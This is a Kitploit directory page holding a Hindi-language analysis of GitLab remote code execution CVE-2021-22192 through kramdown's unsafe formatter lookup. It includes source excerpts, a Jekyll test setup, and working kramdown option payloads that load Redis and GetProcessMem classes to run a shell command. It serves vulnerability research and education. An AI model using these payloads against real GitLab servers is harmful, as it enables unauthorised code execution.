Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Gitlab-RCE — CVE-2021-22192 | Kitploit
उपकरण/GitHubGitHub/petrusviet/gitlab-rce
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & Education
GitHubpetrusviet/gitlab-rce

Gitlab-RCE

CVE-2021-22192

रिपॉजिटरी देखें
1235 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Gitlab पर RCE भेद्यता का विश्लेषण (CVE-2021–22192)

I) निर्माण

  • यह बग GitLab Community Edition (CE) और Enterprise Edition (EE) के संस्करणों (>=13.2, <13.7.9), (>=13.8, <13.8.6) और (>=13.9, <13.9.4) में होता है
  • आप lyy289065406 के निर्देशों का पालन करके पर्यावरण स्थापित कर सकते हैं।

II) विश्लेषण

जब मैंने इस बग का विश्लेषण शुरू किया, तो मुझे lyy289065406 से कुछ बहुमूल्य जानकारी मिली जिसने इस बग के मूल मुद्दे को समझने में मदद की। ऐसा प्रतीत होता है कि यह gem kramdown (<= 2.3.0) में एक बग है, इसलिए मैंने पहले kramdown के बारे में जानना शुरू किया।

1. Kramdown

हम kramdown के patch की जांच कर सकते हैं, और Kramdown::Converter::SyntaxHighlighter::Rouge मॉड्यूल में formatter_class फ़ंक्शन में अंतर देखें।

::Rouge::Formatters.const_get(formatter) को ::Rouge::Formatters.const_get(formatter, false) में बदल दिया गया है।

const_get फ़ंक्शन Object क्लास से विरासत में मिला है, यह कॉन्स्टेंट प्राप्त कर सकता है। यह पहले से घोषित क्लासेस को भी वापस कर सकता है जिन्हें यह ढूंढ सकता है। अंतर केवल एक पैरामीटर false जोड़ने का है। false जोड़ने से const_get पैरेंट क्लास या मॉड्यूल से कॉन्स्टेंट प्राप्त नहीं कर सकेगा। इससे भी अधिक विशेष: self.call फ़ंक्शन formatter_class को कॉल करता है और फिर new(opts) को कॉल करता है। इसका मतलब है कि const_get के माध्यम से प्राप्त विधि का कंस्ट्रक्टर आरंभीकरण के लिए कॉल किया जाएगा।

root@kitploit:~
def self.call(converter, text, lang, type, call_opts)
      opts = options(converter, type)
      call_opts[:default_lang] = opts[:default_lang]
      return nil unless lang || opts[:default_lang] || opts[:guess_lang]

      lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
      return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])

      opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
      formatter = formatter_class(opts).new(opts)
      formatter.format(lexer.lex(text))
    end

वाह, वाह। तो फिर कैसे Exploit करें???

Kramdown:Options के आधार पर, हम Kramdown::Converter::SyntaxHighlighter::Rouge.call फ़ंक्शन को कॉल कर सकते हैं।

root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

इसके अलावा, हम Kramdown:Options मॉड्यूल में simple_hash_validator फ़ंक्शन देखते हैं जो YAML.safe_load(val) को कॉल करता है। इस प्रकार हम YAML फ़ाइल को कॉन्फ़िगर करके वांछित पेलोड को Kramdown::Converter::SyntaxHighlighter::Rouge तक पहुंचा सकते हैं।

root@kitploit:~
def self.simple_hash_validator(val, name)
      if String === val
        begin
          val = YAML.safe_load(val)
        rescue RuntimeError, ArgumentError, SyntaxError
          raise Kramdown::Error, "Invalid YAML value for option #{name}"
        end
      end
      raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
      val
    end
  • Kramdown का उपयोग Jekyll, GitLab Pages, GitHub Pages और Thredd Forum द्वारा किया जाता है। इसलिए मैंने पहले इसे jekyll के साथ आज़माने का फैसला किया।

2. jekyll

पहले, मुझे jekyll सेट करने की आवश्यकता है:

  • jekyll स्थापित करें
root@kitploit:~
gem install jekyll
  • jekyllTest नाम से jekyll पेज बनाएं
root@kitploit:~
jekyll new jekyllTest
  • Gemfile.lock फ़ाइल को संपादित करके kramdown संस्करण को <= 2.3.0 पर सेट करें
root@kitploit:~
cd jekyllTest

फ़ाइल Gemfile.lock

root@kitploit:~

...
kramdown (2.3.0)
...

  • install page
root@kitploit:~
 bundle install

इस प्रकार, हमने एक jekyll पेज बनाने का काम पूरा कर लिया है। अब हम पेलोड डाल सकते हैं, यह देखने के लिए कि क्या Kramdown::Converter::SyntaxHighlighter::Rouge.call वास्तव में एक विधि को कॉल कर सकता है।

हम ./_config.yml फ़ाइल में जोड़ सकते हैं

root@kitploit:~
kramdown:
  syntax_highlighter: rouge
  syntax_highlighter_opts:
    formatter: CSV

या kramdown दस्तावेज़ का उपयोग करें ./_posts/*.markdown में पेलोड जोड़ने के लिए

root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~

यहाँ मैं दूसरा तरीका उपयोग कर रहा हूँ =)))))

  • हम jekyll पेज को डिप्लॉय करते हैं
root@kitploit:~
bundle exec jekyll serve

आपको त्रुटि "require': cannot load such file -- webrick (LoadError) मिल सकती है, आपको gem "webrick" को Gemfile में जोड़ना होगा

  • हम त्रुटि संदेश देखते हैं private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep: यह साबित करता है कि CSV वर्ग को कॉल किया गया था।

अगला काम यह निर्धारित करना है कि हम कौन सी विधि चुनेंगे ताकि कंस्ट्रक्टर को कॉल करने पर RCE हो?

एक विश्लेषण लेख CVE-2020-10518 के अनुसार, kramdown में बग का उपयोग करके Github पर RCE हुआ। मैंने Hoosegow वर्ग को लक्षित किया:

  • हम देखते हैं कि Hoosegow के initialize फ़ंक्शन में load_inmate_methods को कॉल किया गया है।
root@kitploit:~
def initialize(options = {})
    options         = options.dup
    @no_proxy       = options.delete(:no_proxy)
    @inmate_dir     = options.delete(:inmate_dir) || '/hoosegow/inmate'
    @image_name     = options.delete(:image_name)
    @ruby_version   = options.delete(:ruby_version) || RUBY_VERSION
    @docker_options = options
    load_inmate_methods
  • load_inmate_methods में, हम देखते हैं कि यह require inmate_file को कॉल करता है
root@kitploit:~
 def load_inmate_methods
    inmate_file = File.join @inmate_dir, 'inmate.rb'

    unless File.exist?(inmate_file)
      raise Hoosegow::InmateImportError, "inmate file doesn't exist"
    end

    require inmate_file

    unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
      raise Hoosegow::InmateImportError,
        "inmate file doesn't define Hoosegow::Inmate"
    end

    if no_proxy?
      self.extend Hoosegow::Inmate
    else
      inmate_methods = Hoosegow::Inmate.instance_methods
      inmate_methods.each do |name|
        define_singleton_method name do |*args, &block|
          proxy_send name, args, &block
        end
      end
    end
  end
  • और inmate_file @inmate_dir में 'inmate.rb' जोड़कर बनाया जाता है। यदि हम इस वर्ग को कॉल कर सकते हैं और inmate_dir पैरामीटर को अपनी पेलोड फ़ाइल के पथ में बदल सकते हैं, तो क्या यहाँ RCE नहीं होगा?

  • मैंने jekyll पेज के पथ में एक स्क्रिप्ट चलाई ताकि परिभाषित विधियों की जाँच की जा सके:

root@kitploit:~
require "bundler"
Bundler.require

methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
 
methods.each do |m|
  begin
    puts "trying #{m[:ob]}"
    m[:ob].new({a:1, b:2})
    puts "worked\n\n"
  rescue ArgumentError
      puts "nope\n\n"
  rescue NoMethodError
      puts "nope\n\n"
  rescue => e
      p e
      puts "maybe\n\n"
  end
  • दुर्भाग्य से, Hoosegow नाम का कोई वर्ग नहीं है, भले ही मैंने ob.name == "Hoosegow" शर्त रखकर स्क्रिप्ट को बीच में क्रैश होने से बचाया।
root@kitploit:~
require "bundler"
Bundler.require
  
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow"  }

...
  • पता चला कि मेरे क्लास पथ में Hoosegow वर्ग घोषित नहीं था, मैंने Gemfile में gem "hoosegow" जोड़ा और स्क्रिप्ट ने यह वर्ग पा लिया। [ही ही ही]
  • अगला, kramdown के माध्यम से Hoosegow को कॉल करने का प्रयास करते हैं।
root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~
  • बूम। कुछ नहीं हुआ, Hoosegow वर्ग को कॉल नहीं किया गया। =)))))))))
  • मैं यहाँ अटक गया.. 1 सप्ताह। हाँ, इसकी वजह से एक सप्ताह बर्बाद हो गया। मैं इस सवाल के साथ चक्कर लगा रहा था: "बंडलर में पहले से Hoosegow वर्ग है, लेकिन Kramdown के नीचे से कॉल करने पर क्यों नहीं मिलता? इसे मिलना चाहिए ना ???"

  • मैंने सोचा: "अगर यह Gemfile में घोषित किया गया है, तो इसका मतलब है कि क्लास पथ में वह वर्ग पहले से मौजूद है। तो अगर प्रोग्राम 'Hoosegow' नहीं ढूंढ पा रहा है, तो निश्चित रूप से इसे लोड नहीं किया गया है..." तो क्या कोई तरीका है कि gem को इस तरह घोषित किया जाए कि जेकिल शुरू होने पर स्रोत निर्देशिका के अन्य भागों को संसाधित करने से पहले gem लोड हो जाए?

  • मैंने jekyll के दस्तावेज़ पढ़े और jekyll_plugins पाया। इसे केवल Gemfile में घोषित करना पर्याप्त नहीं है, बल्कि gem को jekyll_plugins समूह में घोषित करना होगा :( क्योंकि जब gem को jekyll_plugins में घोषित किया जाता है, तो jekyll द्वारा अन्य स्रोतों को संसाधित करने से पहले gem को बिना किसी शर्त के लोड किया जाता है। भले ही jekyll safe mode में चल रहा हो।

root@kitploit:~
group :jekyll_plugins do
  gem "jekyll-feed", "~> 0.12"
  gem "hoosegow"
end
  • मैंने C:/ में एक inmate.rb फ़ाइल बनाई और पेलोड चलाया:
root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, inmate_dir: C:/\}" /}

~~~ ruby
def what?
  42
end
~~~
  • inmate.rb फ़ाइल को कॉल किया गया। तो ऐसा लगता है कि हम लगभग PoC में सफल हो गए हैं, है ना?

3. Gitlab

  • Gitlab में Gitlab Page सुविधा है, जहाँ मैं jekyll पेज डिप्लॉय कर सकता हूँ। इसलिए मैंने एक jekyll पेज प्रोजेक्ट (जैसा ऊपर बताया गया है) के रूप में पेलोड को gitlab पर डिप्लॉय करने का प्रयास किया।
  • सवाल यह है कि inmate.rb फ़ाइल को Gitlab सर्वर पर कैसे अपलोड किया जाए और यह कैसे पता चले कि मेरी अपलोड की गई inmate.rb फ़ाइल कहाँ स्थित है??
  • यह काफी सरल है यदि हमारे पास प्रोजेक्ट बनाने और उन्हें gitlab पर डिप्लॉय करने की अनुमति है। हम अपने प्रोजेक्ट में inmate.rb फ़ाइल अपलोड कर सकते हैं और .gitlab-ci.yml फ़ाइल को संपादित कर सकते हैं।
root@kitploit:~
before_script:
  - pwd
  - gem install bundler
  - bundle install

  • यह हमें यह जानने की अनुमति देता है कि हमारा प्रोजेक्ट कहाँ संग्रहीत है। वहाँ से हम अपना पेलोड बना सकते हैं :)

हमारे पास .gitlab-ci.yml फ़ाइल को संपादित करने की अनुमति क्यों है, जब हम पहले से ही कमांड इंजेक्ट कर सकते हैं, तो PoC लिखने की मेहनत क्यों करें? क्या मैं self RCE के रास्ते पर जा रहा हूँ?

  • यह सवाल तुरंत उठा जब मैंने .gitlab-ci.yml फ़ाइल संपादित की। मैंने विभिन्न तरीकों से समझाने की कोशिश की: "हो सकता है कि .yml फ़ाइल को लोड करने से पहले स्कैन करने का कोई तंत्र हो?",.. लेकिन ये मुझे संतुष्ट नहीं कर पाए...
  • मैंने Gitlab द्वारा Gitlab Pages को डिप्लॉय करने का तरीका समझा। तब पता चला कि जब भी कोई नया पेज डिप्लॉय किया जाता है, या पेज प्रोजेक्ट में किसी फ़ाइल में संपादन होता है, Gitlab Runner सर्वर प्रोजेक्ट को स्थिर वेब पेजों में रेंडर करता है, और फिर उन्हें Gitlab Web सर्वर पर भेजता है। इसका मतलब है कि यह शोषण अधिकतम केवल Runner सर्वर को ही प्रभावित कर सकता है। Runner सर्वर पर कब्जा करना बहुत गंभीर नहीं है, क्योंकि यह केवल self RCE तक सीमित है। ऐसा लगता है कि कुछ ठीक नहीं है।
  • मैंने एक और इनपुट पथ खोजा - wiki पृष्ठ। Wiki पृष्ठ kramdown प्रारूप का उपयोग करने की अनुमति देता है, इसलिए मुझे संदेह हुआ और यहाँ परीक्षण किया, लेकिन कोई परिणाम नहीं मिला क्योंकि मैंने केवल डिफ़ॉल्ट '*.md' फ़ाइल में पेलोड डाला, और '*.md' फ़ाइल में आवश्यक सुविधा प्रतिबंधित थी, इसलिए मैंने यह पथ छोड़ दिया :(

  • यहाँ मुझे रुकना पड़ा और PoC के प्रकाशित होने का इंतजार करना पड़ा ताकि अन्य शोध के लिए समय बचा सकूँ।

PoC प्रकाशित

एक अच्छे दिन, PoC प्रकाशित हुआ। इसे पढ़ने के बाद, मेरे अंदर का 'मुर्गा' (बेवकूफी) जोर से जाग उठा, कहने की जरूरत नहीं =))।

मूल समस्या kramdown में थी, हम सही रास्ते पर थे, लेकिन Gitlab पर इसे प्राप्त करने का तरीका थोड़ा बेकार था =)

  • लेखक ने पाया कि जब '*.rmd' फ़ाइल के साथ wiki पृष्ठ अपलोड किया जाता है, तो प्रोग्राम render_wiki_content -> other_markup_unsafe -> GitHub::Markup.render को कॉल करता है। इस प्रकार '*.rmd' फ़ाइल kramdown के साथ रेंडर होती है।
  • लेखक ने अपनी '.rmd' फ़ाइल को wiki पृष्ठ को लोकल पर क्लोन करके अपलोड किया, फिर git का उपयोग करके wiki पृष्ठ (साथ में '.rmd' फ़ाइल) को gitlab पर push किया।
  • लेखक ने Redis वर्ग (जो पहले से Gitlab प्रोजेक्ट में घोषित है, इसलिए हम इस वर्ग को कॉल और उपयोग कर सकते हैं) का उपयोग अपना पेलोड चलाने के लिए किया।

जब Redis वर्ग आरंभ होता है, यदि driver विकल्प मौजूद है, तो प्रोग्राम _parse_driver फ़ंक्शन को कॉल करता है। यहाँ, प्रोग्राम require "connection/#{driver}" करता है, हम driver चर को प्रभावित कर सकते हैं ताकि प्रोग्राम सर्वर पर अपलोड की गई पेलोड फ़ाइल को कॉल करे।

root@kitploit:~
def _parse_driver(driver)
      driver = driver.to_s if driver.is_a?(Symbol)

      if driver.kind_of?(String)
        begin
          require_relative "connection/#{driver}"
        rescue LoadError, NameError => e
          begin
            require "connection/#{driver}"
          rescue LoadError, NameError => e
            raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
          end
        end

        driver = Connection.const_get(driver.capitalize)
      end

      driver
    end
  • नए snippet बनाने की सुविधा के साथ, हमलावर Attach a file के साथ ruby पेलोड अपलोड कर सकता है।
  • इस शोषण में, हमलावर को अपलोड की गई पेलोड फ़ाइल का स्थान खोजना होता है। इसने लेखक को एक और शोषण दिशा खोजने पर मजबूर किया:

Kramdown से Redis वर्ग को कॉल करने की दिशा का उपयोग करते हुए, पहले लेखक ने पेलोड के साथ gem get_process_mem को आयात किया

root@kitploit:~
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../get_process_mem\}" /}

~~~ruby
    def what?
      42
    end
~~~

फिर पहले से आयातित gem get_process_mem का उपयोग RCE के लिए किया

root@kitploit:~
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{a: '`echo inject > /tmp/inject`', formatter: GetProcessMem\}" /}

~~ ruby
    def what?
      42
    end
~~

इस प्रकार, पेलोड फ़ाइल का पता खोजने की आवश्यकता के बिना, हमलावर Gitlab सर्वर पर RCE कर सकता है।

Ref:

  • https://github.com/lyy289065406/CVE-2021-22192
  • https://blog.csdn.net/smellycat000/article/details/109302520
  • https://hackerone.com/reports/1125425
टूल डाउनलोड करें